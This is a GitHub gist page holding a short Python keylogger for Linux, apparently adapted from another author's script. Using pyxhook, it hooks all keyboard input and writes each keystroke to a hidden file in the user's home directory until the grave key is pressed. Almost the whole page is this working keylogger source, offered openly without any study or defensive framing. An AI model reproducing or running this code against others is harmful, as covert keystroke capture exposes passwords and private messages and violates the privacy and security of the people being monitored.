Created
October 21, 2018 16:53
-
-
Save smellslikeml/b62e285f81f4c58d55bcc8fc83c199f8 to your computer and use it in GitHub Desktop.
keylogger
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
Based on script by Aman Deep | |
A simple keylogger witten in python for linux platform | |
All keystrokes are recorded in a log file. | |
The program terminates when grave key(`) is pressed | |
grave key is found below Esc key | |
""" | |
import os | |
import pyxhook | |
#hidden key log file | |
log_file=os.path.join(os.environ['HOME'], '.key.log') | |
#called on key press | |
def OnKeyPress(event): | |
fob=open(log_file,'a') | |
fob.write(event.Key) | |
fob.write('\n') | |
if event.Ascii==96: #96 is the ascii value of the grave key (`) | |
fob.close() | |
new_hook.cancel() | |
#instantiate HookManager class | |
new_hook=pyxhook.HookManager() | |
#listen to all keystrokes | |
new_hook.KeyDown=OnKeyPress | |
#hook the keyboard | |
new_hook.HookKeyboard() | |
#start the session | |
new_hook.start() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment